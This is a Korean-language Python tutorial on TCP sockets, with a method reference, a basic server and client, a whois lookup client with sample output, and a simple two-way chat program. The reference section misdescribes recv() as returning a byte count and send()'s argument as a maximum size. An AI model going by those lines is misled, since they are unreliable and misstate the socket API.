소켓을 사용하기 위해서는 socket 모듈을 import 해야한다.
파이썬에 기본적으로 제공된다.
ex) import socket

socket.socket([ 패밀리 [ , 타입 [ , proto ] ] )) 
설명 : 소켓을 생성하는 클래스
인수 : 주소 패밀리, 소켓 타입, 프로토콜 번호
주소 패밀리   : AF_INET(IPV4) AF_INET6(IPV6)
소켓 유형     : SOCK_STREAM(TCP) SOCK_DGRAM(UDP)
프로토콜 번호 :  0 이며 이 경우 생략 가능

socket.bind(주소)
설명 : 주소에 소켓을 바인딩하는 메소드
소켓이 이미 바인딩되어 있으면 안된다. 
인수 : IP주소, 포트번호

socket.listen(백로그) 
설명 : 소켓에 대한 연결을 리슨하는 메소드
인수 : 순차적으로 연결할 수 있는 최대 연결 개수를 지정한다.  
최대 값은 시스템에 따라 다르지만 보통 5정도 지정한다.

socket.accept()
설명 : 클라이언트 접속 시 연결을 수락하는 메소드
리턴값 : 클라이언트 소켓, 클라이언트 주소를 반환한다.

socket.connect(주소)
설명 : 클라이언트에서 서버로 접속하는 메소드
인자 : 서버주소, 서버 포트번호 (묶어서 호출)

socket.recv(bufsize)
설명 : 소켓으로 부터 TCP 메시지를 받는 메소드
인자 : 한번에 받을 수 있는 최대 크기를 지정한다.
리턴값 : 수신한 바이트의 수를 반환한다.

socket.send(문자열)
설명 : 데이터를 소켓으로 보내기 위해 사용하는 메소드
인자 : 한번에 보낼 수 있는 최대 크기를 지정한다.
리턴값 : 전송한 바이트의 수를 반환한다.

socket.close()
설명 : 연결된 소켓을 종료하는 메소드

</code></pre><blockquote>
<p><strong>실습&gt; 파이썬을 이용한 통신 프로그램 작성</strong></p>
</blockquote>
<pre><code>1. python3 패키지 설치
# yum -y install python3

2. Server 프로그램 작성
# cd
# vi server.py
import socket

host = &#39;&#39;    # any: 200.200.200.6, 127.0.0.1
port = 8000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
s.bind((host,port))  # 주소 정보를 수동 설정
s.listen(5)
conn, addr = s.accept()  # 클라이언트가 접속되지 않으면 블로킹된다.
data = &#39;클라이언트 안녕&#39;
print(f&#39;{conn} 클라이언트가 접속했습니다.&#39;)
conn.send(data.encode(&#39;utf-8&#39;))
conn.close()
s.close()

3. Client 프로그램 작성
# cd
# vi client.py
import socket

host = &#39;200.200.200.6&#39;
port = 8000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
s.connect((host,port))  # 주소 정보를 수동 설정
data = s.recv(1024).decode(&#39;utf-8&#39;)
print(data)
s.close()

4. 프로그램 실행
서버 프로그램을 실행한다.
# python3 server.py

클라이언트 프로그램을 실행한다.
# python3 client.py
클라이언트 안녕


실습&gt; whois 서비스를 파이썬으로 작성하기

1. 소스파일 작성
파이썬을 이용해서 도메인에 대한 정보를 받아오는 통신 프로그램을 작성한다.
# vi whoisClient.py 
import socket

host = &#39;whois.kisa.or.kr&#39;
port = 43
data = &#39;daum.net\r\n&#39;

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
s.connect((host,port))
s.send(data.encode(&#39;utf-8&#39;))
data = s.recv(1024).decode(&#39;utf-8&#39;) 
print(data)
s.close()

2. 프로그램 실행
작성한 프로그램을 실행해서 daum.net의 도메인에 대한 정보를 얻어온다.
# python3 whoisClient.py 
%kwhois    Domain Name: DAUM.NET
   Registry Domain ID: 841285_DOMAIN_NET-VRSN
   Registrar WHOIS Server: whois.hosting.kr
   Registrar URL: http://HOSTING.KR
   Updated Date: 2023-02-27T07:21:30Z
   Creation Date: 1996-03-05T05:00:00Z
   Registry Expiry Date: 2024-03-06T05:00:00Z
   Registrar: Megazone Corp., dba HOSTING.KR
   Registrar IANA ID: 1489
   Registrar Abuse Contact Email: abuse@hosting.kr
   Registrar Abuse Contact Phone: +82.216447378
   Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
   Name Server: NS1.DAUM.NET
   Name Server: NS2.DAUM.NET
   DNSSEC: unsigned
   URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
&gt;&gt;&gt; Last update of whois database: 2023-03-07T06:13:56Z &lt;&lt;&lt;

For more information on Whois status codes, please visit https://icann.org/epp

NOTICE: The expiration date displayed in this record is the date the
registrar&#39;s sponsorship of the domain name registration in the registry is
currently set to expire. This date do

3. 소스코드 수정
고정된 도메인이 아니라 사용자가 선택해서 도메인을 검색할 수 있도록 소스코드를 수정한다.
# vi whoisClient.py 
import socket

host = &#39;whois.kisa.or.kr&#39;
port = 43
data = input(&#39;Search Domain: &#39;)
data = data + &#39;\r\n&#39;

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
s.connect((host,port))
s.send(data.encode(&#39;utf-8&#39;))
data = s.recv(1024).decode(&#39;utf-8&#39;) 
print(data)
s.close()

4. 프로그램 실행
# python3 whoisClient.py 
Search Domain: daum.net

# python3 whoisClient.py 
Search Domain: naver.com
</code></pre><blockquote>
<p><strong>실습&gt; 소켓 프로그램을 이용한 채팅 프로그램 만들기 1</strong></p>
</blockquote>
<pre><code>-- 조건 --
파일명 : chat_server.py, chat_client.py 


-- 데이터 전송 부분 --

Client가  접속하면 [클라이언트님이 대화방에 들어왔습니다] 메세지를 화면에 출력한다.
Client/Server 둘 중 아무나 접속을 끊기 위해서는 quit을 입력한다.

-- Server --
[서버님이 대화방을 만들었습니다]
[클라이언트님이 대화방에 들어왔습니다]
Server : 안녕하세요!
Client : 반가워요!
Server : 오늘 날씨가 아침에 비가 왔는데 ...
Client : 우산이 없는데 ㅋㅋㅋ
Server : ㅋㅋㅋ
Client : 저 끊을께요!
Server : 네~~~
[클라이언트님이 대화방에 나갔습니다]
Server : quit

-- Client --
[클라이언트님이 대화방에 들어왔습니다]
Server : 안녕하세요!
Client : 반가워요!
Server : 오늘 날씨가 아침에 비가 왔는데 ...
Client : 우산이 없는데 ㅋㅋㅋ
Server : ㅋㅋㅋ
Client : 저 끊을께요!
Server : 네~~~
Client : quit
-- 데이터 전송 부분 --

-- 조건 --



-- chat_server.py --
&quot;&quot;&quot;
파일명 : chat_server.py
프로그램 설명 : 채팅 서버 프로그램
작성자: 리눅스마스터넷
&quot;&quot;&quot;

import socket

host = &quot;&quot;           # Listen할 IP주소
port = 8000         # Listen할 포트번호
recv_msg = &quot;&quot;  # 클라이언트에서 온 Data를 저장할 변수
send_msg = &quot;&quot;  # 클라이언트로 보낼 Data를 저장할 변수

# 1. 통신연결 단계
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host,port))
s.listen(5)
conn, addr = s.accept()
print(&quot;[클라이언트님이 대화방에 들어왔습니다]&quot;)

# 2. Data 송수신 단계
while True:
    # Data 송신
    send_msg = input(&quot;Server : &quot;)

    # Client로 보낼 Data를 입력 받아 utf-8로 인코딩한 후 Client로 전송한다.
    conn.send(send_msg.encode(&#39;utf-8&#39;))

    # 입력된 자료가 &quot;quit&quot; 이면 프로그램을 종료한다.
    if send_msg == &quot;quit&quot;:
        break

    # Data 수신
    recv_msg = conn.recv(1024).decode(&#39;utf-8&#39;)
    print(&quot;Client : %s&quot; %(recv_msg))

    # 입력된 자료가 &quot;quit&quot; 이면 프로그램을 종료한다.
    if recv_msg == &quot;quit&quot;:
        break

# 3. 통신해제 단계
print(&quot;대화가 종료 되었습니다.&quot;)
conn.close()
s.close()
-- chat_server.py --

-- chat_client.py --
&quot;&quot;&quot;
파일명 : chat_client.py
프로그램 설명 : 채팅 클라이언트 프로그램
작성자: 리눅스마스터넷
&quot;&quot;&quot;

import socket
host = &quot;접속할IP주소&quot;
port = 8000


recv_msg = &quot;&quot;  # 서버에서 온 Data를 저장할 변수
send_msg = &quot;&quot;  # 서버로 보낼 Data를 저장할 변수

# 1. 통신연결 단계
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
s.connect((host,port))

# 2. Data 송수신 단계
while True:
    # Data 수신 부분
    # Server 에서 온 Data를 utf-8로 인코딩한 후 화면에 출력한다.
    # print(s.recv(1024).decode(&#39;utf-8&#39;))
    recv_msg = s.recv(1024).decode(&#39;utf-8&#39;)
    print(&quot;Server : &quot; + recv_msg)

    # 입력된 Data가 &quot;quit&quot; 이면 프로그램을 종료한다.
    if recv_msg == &quot;quit&quot;:
        break

    # Data 송신 부분
    # Server로 보낼 Data를 입력 받아 utf-8로 인코딩한 후 서버로 전송한다.
    send_msg = input(&quot;Client : &quot;)
    s.send(send_msg.encode(&#39;utf-8&#39;))

    # 입력된 Data가 &quot;quit&quot; 이면 프로그램을 종료한다.
    if send_msg == &quot;quit&quot;:
        break

# 3. 통신해제 단계
print(&quot;대화가 종료되었습니다&quot;)
s.close()
-- chat_client.py --</code></pre>]]></description>
        </item>
    </channel>
</rss>